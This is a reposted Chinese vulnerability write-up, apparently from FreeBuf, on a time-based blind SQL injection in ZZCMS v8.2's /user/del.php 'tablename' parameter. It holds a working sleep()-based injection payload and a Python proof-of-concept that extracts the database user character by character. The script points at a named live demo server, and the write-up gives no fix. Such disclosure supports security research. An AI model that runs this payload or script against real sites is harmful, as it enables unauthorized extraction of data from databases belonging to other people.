ZZCMS v8.2 最新版SQL注入漏洞
Posted FreeBuf
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ZZCMS v8.2 最新版SQL注入漏洞相关的知识,希望对你有一定的参考价值。
0x00概述
近期一直在致力于审计CMS的漏洞,当审计遇到ZZCMS v8.2,发现SQL注入漏洞。
0x01 白盒审计
通过白盒审计工具,发现 /user/del.php 存在SQL注入漏洞。
代码位置: /user/del.php 12行,获取参数。
由于存在checkid() 导致 $id无法进行注入,checkid() 代码如图。
代码位置:/inc/function.php 49行
在switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。
tablename 所在位置无需闭合引号和CMS过滤大于号和小于号(转换为实体),拼接为 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL语句可以完成注入。
0x02 漏洞利用
测试payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23
测试结果如图。
0x03POC
用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ''
for i in range(1, 2):
for payload in payloads: #遍历取出字符
startTime = time.time()
post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} )
if time.time() - startTime > 5:
user = payload
print 'user is:', user
break
print '
[Done] current user is %s' % user
以上是关于ZZCMS v8.2 最新版SQL注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段